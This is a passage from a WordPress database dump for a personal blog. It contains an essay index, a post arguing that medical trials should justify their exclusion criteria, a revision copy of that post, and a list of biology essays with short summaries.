-->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2022-04-06 18:48:16','2022-04-06 18:48:16','',22,'https://trevorklee.com/?p=276',0,'revision','',0),
(278,1,'2022-04-27 12:57:46','2022-04-27 12:57:46','<!-- wp:paragraph -->\n<p><em>Today’s essay is inspired by my own efforts to figure out my own drug trial both in animals and in people. When you start getting in the specifics of how a trial is designed, you end up with decisions that can only be justified to the FDA and God, so you realize how much of an art trial design really is. It all looks so clear from a 10,000 foot view…</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have a big problem with exclusion criteria in the methods sections of paper on medical interventions as they’re used today. While they have utility as tools to make running trials on interventions easier or more straightforward, they’re too often used to run different trials altogether than what’s promised in the abstract. In other words, they become “redefinition criteria”, rather than exclusion criteria.<br><br>Let me explain. Exclusion criteria, to me, are criteria you use to exclude anyone (or anything) that doesn’t fit in a pre-defined notion of what you’re attempting to select for. For example, if I was throwing an 80s party, I might have an exclusion criteria of no shorts below the knee. Short shorts are a defining characteristic of the 80s, so anyone with long shorts doesn’t get allowed in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://cdn.substack.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F93a41381-703f-483a-9a45-79cbcfc25f81_720x917.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://cdn.substack.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F93a41381-703f-483a-9a45-79cbcfc25f81_720x917.jpeg\" alt=\"The \'80s men-short-pants trend that doesn\'t seem to come back again ~  pannatic\" title=\"The \'80s men-short-pants trend that doesn\'t seem to come back again ~  pannatic\"/></a><figcaption>A golden age of short shorts. Also yes, this does appear to be a fashion magazine’s take on the French Foreign Legion. I have no explanations.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>If, on the other hand, I was throwing an 80s party, and I made an exclusion criteria of “No ugly men”, that would not be a valid exclusion criteria. Ugly men were present at parties in the 80s, as the movie&nbsp;<em>Revenge of the Nerds</em>&nbsp;informs us. Any extrapolations that I or anyone made from this unreasonably attractive 80s party would not be generalizable, including the effect of any interventions on the outcome of that party. So, “no ugly men” would actually be a redefinition criteria, in which I’d redefine the 80s aesthetic to be as attractive as I want it to be.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading my newsletter! Subscribe for free to receive new posts on an every-once-in-a-while basis, mostly about biology.<strong>✓</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These exclusion criteria are obviously valid and invalid, respectively. But one could imagine an exclusion criteria that’s justifiable in some circumstances but not others. For instance, if I wanted my party to reflect the actual fabric quality of 80s fashion, I might have an exclusion criteria of actual vintage clothing only. That wouldn’t make sense if I simply wanted my party to reflect the aesthetics of the 80s, so I shouldn’t then apply that exclusion criteria.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, if I do apply that exclusion criteria, I would then need to, first of all, justify this exclusion criteria explicitly. I would make sure the partygoers knew why I wanted to only include actual vintage clothing based on what conclusions I wanted to draw from the party. Second, I’d make sure that any extrapolations people draw from that party are made with this exclusion criteria in mind. For example, I would want to make sure that nobody thinks that all 80s clothing smelled musty or had patches on it. Instead, I’d want to make sure that they know this is simply an artifact of the fact that all the clothing at this party was 40 years old.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://cdn.substack.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F066d76b0-6227-42b1-9f32-651f02632c37_3024x3024.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://cdn.substack.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F066d76b0-6227-42b1-9f32-651f02632c37_3024x3024.png\" alt=\"Vintage Metallica &quot;Shortest Straw&quot; T-Shirt | jointcustodydc\" title=\"Vintage Metallica &quot;Shortest Straw&quot; T-Shirt | jointcustodydc\"/></a><figcaption>This vintage 80s shirt is literally being sold for $200 on the website I pulled this from. Vintage clothing prices are weird.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I may have beaten this metaphor to death. So let me explain using an actual example from a paper I saw floating around Twitter. This paper allegedly showed that&nbsp;<a href=\"https://www.nature.com/articles/ijo2010171?source=post_page\">intermittent fasting was as effective as dieting in young overweight women</a>. They did using a normal dieting study, where the women were randomized to an intermittent fasting diet vs. a calorie-restricted diet, and then they compared weight loss. Simple enough. People on Twitter were using this to argue in favor of the effectiveness intermittent fasting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, if we go into the exclusion criteria section, we get, “Participants were non-smokers, not currently dieting or losing weight, with regular menstrual cycles and no evidence of hyperandrogenism or polycystic ovary syndrome, and no oral contraceptive use during the previous 6 months. They did not have high intakes of alcohol (428 units per week) or phytooestrogens, and were not suffering from diagnosed diabetes, cardiovascular disease, major psychiatric morbidity or cancer.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some of these exclusion criteria are pretty straightforward. I’d assume you wouldn’t want any participants who were dieting or losing weight because that makes it difficult to tell if your intervention worked. Also, you’d want to avoid any participants with conditions that make them predisposed to gain or lose weight, as that would make an apples-to-apples comparison across groups more difficult.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, there are other exclusion criteria that I don’t understand at all. Why no oral contraceptive use? Why no smoking? Why no diabetes, given that this is an overweight subject group?<br><br>There might well be good reasons for these exclusions that I’m not aware of. Perhaps if I ran my own trial on dieting, I’d find that it’s impossible to have women on oral contraceptives in my groups. However, those reasons are not outlined here. And, perhaps more importantly, the implications of those restrictions are never discussed throughout the rest of the paper. Is it possible that a given woman on oral contraceptives would find it more or less difficult to lose weight with intermittent fasting? Who knows!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These unjustified exclusions can have real clinical implications, too. For example, most asthma studies exclude morbidly obese people, as morbidly obese asthma is notoriously resistant to treatment and there aren’t good explanations as to why. However, once asthma drugs are approved, they’re approved for all asthmatics equally. As a result, morbidly obese people get prescribed asthma drugs that were never tested on people like them [1].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If asthma drug studies had to justify why they were excluding morbidly obese people and had to discuss this fact in their studies and their marketing, morbidly obese patients and their doctors would be able to make more informed decisions about their health. This would also open up the market for asthma drugs that did include the morbidly obese in their trials and could be more relevant for their specific needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The opportunity is there to improve medical trials. We just need to justify exclusion criteria.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] This is literally going on today by the way. The FDA approved Tezpire as&nbsp;<a href=\"https://www.fda.gov/drugs/news-events-human-drugs/fda-approves-maintenance-treatment-severe-asthma\">a breakthrough drug for asthma in December 2021</a>.&nbsp;<a href=\"https://clinicaltrials.gov/ct2/show/NCT02054130\">Tezspire excluded morbidly obese people from their efficacy trials</a>. This fact is not mentioned anywhere in Tezspire’s labeling.</p>\n<!-- /wp:paragraph -->','You should justify your exclusion criteria','','publish','closed','closed','','you-should-justify-your-exclusion-criteria','','','2022-04-27 12:57:46','2022-04-27 12:57:46','',0,'https://trevorklee.com/?page_id=278',0,'page','',0),
(279,1,'2022-04-27 12:57:46','2022-04-27 12:57:46','<!-- wp:paragraph -->\n<p><em>Today’s essay is inspired by my own efforts to figure out my own drug trial both in animals and in people. When you start getting in the specifics of how a trial is designed, you end up with decisions that can only be justified to the FDA and God, so you realize how much of an art trial design really is. It all looks so clear from a 10,000 foot view…</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have a big problem with exclusion criteria in the methods sections of paper on medical interventions as they’re used today. While they have utility as tools to make running trials on interventions easier or more straightforward, they’re too often used to run different trials altogether than what’s promised in the abstract. In other words, they become “redefinition criteria”, rather than exclusion criteria.<br><br>Let me explain. Exclusion criteria, to me, are criteria you use to exclude anyone (or anything) that doesn’t fit in a pre-defined notion of what you’re attempting to select for. For example, if I was throwing an 80s party, I might have an exclusion criteria of no shorts below the knee. Short shorts are a defining characteristic of the 80s, so anyone with long shorts doesn’t get allowed in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://cdn.substack.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F93a41381-703f-483a-9a45-79cbcfc25f81_720x917.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://cdn.substack.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F93a41381-703f-483a-9a45-79cbcfc25f81_720x917.jpeg\" alt=\"The \'80s men-short-pants trend that doesn\'t seem to come back again ~  pannatic\" title=\"The \'80s men-short-pants trend that doesn\'t seem to come back again ~  pannatic\"/></a><figcaption>A golden age of short shorts. Also yes, this does appear to be a fashion magazine’s take on the French Foreign Legion. I have no explanations.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>If, on the other hand, I was throwing an 80s party, and I made an exclusion criteria of “No ugly men”, that would not be a valid exclusion criteria. Ugly men were present at parties in the 80s, as the movie&nbsp;<em>Revenge of the Nerds</em>&nbsp;informs us. Any extrapolations that I or anyone made from this unreasonably attractive 80s party would not be generalizable, including the effect of any interventions on the outcome of that party. So, “no ugly men” would actually be a redefinition criteria, in which I’d redefine the 80s aesthetic to be as attractive as I want it to be.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading my newsletter! Subscribe for free to receive new posts on an every-once-in-a-while basis, mostly about biology.<strong>✓</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These exclusion criteria are obviously valid and invalid, respectively. But one could imagine an exclusion criteria that’s justifiable in some circumstances but not others. For instance, if I wanted my party to reflect the actual fabric quality of 80s fashion, I might have an exclusion criteria of actual vintage clothing only. That wouldn’t make sense if I simply wanted my party to reflect the aesthetics of the 80s, so I shouldn’t then apply that exclusion criteria.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, if I do apply that exclusion criteria, I would then need to, first of all, justify this exclusion criteria explicitly. I would make sure the partygoers knew why I wanted to only include actual vintage clothing based on what conclusions I wanted to draw from the party. Second, I’d make sure that any extrapolations people draw from that party are made with this exclusion criteria in mind. For example, I would want to make sure that nobody thinks that all 80s clothing smelled musty or had patches on it. Instead, I’d want to make sure that they know this is simply an artifact of the fact that all the clothing at this party was 40 years old.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://cdn.substack.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F066d76b0-6227-42b1-9f32-651f02632c37_3024x3024.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://cdn.substack.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F066d76b0-6227-42b1-9f32-651f02632c37_3024x3024.png\" alt=\"Vintage Metallica &quot;Shortest Straw&quot; T-Shirt | jointcustodydc\" title=\"Vintage Metallica &quot;Shortest Straw&quot; T-Shirt | jointcustodydc\"/></a><figcaption>This vintage 80s shirt is literally being sold for $200 on the website I pulled this from. Vintage clothing prices are weird.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I may have beaten this metaphor to death. So let me explain using an actual example from a paper I saw floating around Twitter. This paper allegedly showed that&nbsp;<a href=\"https://www.nature.com/articles/ijo2010171?source=post_page\">intermittent fasting was as effective as dieting in young overweight women</a>. They did using a normal dieting study, where the women were randomized to an intermittent fasting diet vs. a calorie-restricted diet, and then they compared weight loss. Simple enough. People on Twitter were using this to argue in favor of the effectiveness intermittent fasting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, if we go into the exclusion criteria section, we get, “Participants were non-smokers, not currently dieting or losing weight, with regular menstrual cycles and no evidence of hyperandrogenism or polycystic ovary syndrome, and no oral contraceptive use during the previous 6 months. They did not have high intakes of alcohol (428 units per week) or phytooestrogens, and were not suffering from diagnosed diabetes, cardiovascular disease, major psychiatric morbidity or cancer.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some of these exclusion criteria are pretty straightforward. I’d assume you wouldn’t want any participants who were dieting or losing weight because that makes it difficult to tell if your intervention worked. Also, you’d want to avoid any participants with conditions that make them predisposed to gain or lose weight, as that would make an apples-to-apples comparison across groups more difficult.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, there are other exclusion criteria that I don’t understand at all. Why no oral contraceptive use? Why no smoking? Why no diabetes, given that this is an overweight subject group?<br><br>There might well be good reasons for these exclusions that I’m not aware of. Perhaps if I ran my own trial on dieting, I’d find that it’s impossible to have women on oral contraceptives in my groups. However, those reasons are not outlined here. And, perhaps more importantly, the implications of those restrictions are never discussed throughout the rest of the paper. Is it possible that a given woman on oral contraceptives would find it more or less difficult to lose weight with intermittent fasting? Who knows!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These unjustified exclusions can have real clinical implications, too. For example, most asthma studies exclude morbidly obese people, as morbidly obese asthma is notoriously resistant to treatment and there aren’t good explanations as to why. However, once asthma drugs are approved, they’re approved for all asthmatics equally. As a result, morbidly obese people get prescribed asthma drugs that were never tested on people like them [1].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If asthma drug studies had to justify why they were excluding morbidly obese people and had to discuss this fact in their studies and their marketing, morbidly obese patients and their doctors would be able to make more informed decisions about their health. This would also open up the market for asthma drugs that did include the morbidly obese in their trials and could be more relevant for their specific needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The opportunity is there to improve medical trials. We just need to justify exclusion criteria.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] This is literally going on today by the way. The FDA approved Tezpire as&nbsp;<a href=\"https://www.fda.gov/drugs/news-events-human-drugs/fda-approves-maintenance-treatment-severe-asthma\">a breakthrough drug for asthma in December 2021</a>.&nbsp;<a href=\"https://clinicaltrials.gov/ct2/show/NCT02054130\">Tezspire excluded morbidly obese people from their efficacy trials</a>. This fact is not mentioned anywhere in Tezspire’s labeling.</p>\n<!-- /wp:paragraph -->','You should justify your exclusion criteria','','inherit','closed','closed','','278-revision-v1','','','2022-04-27 12:57:46','2022-04-27 12:57:46','',278,'https://trevorklee.com/?p=279',0,'revision','',0),
(281,1,'2022-04-27 12:59:31','2022-04-27 12:59:31','<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>\n\n<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- 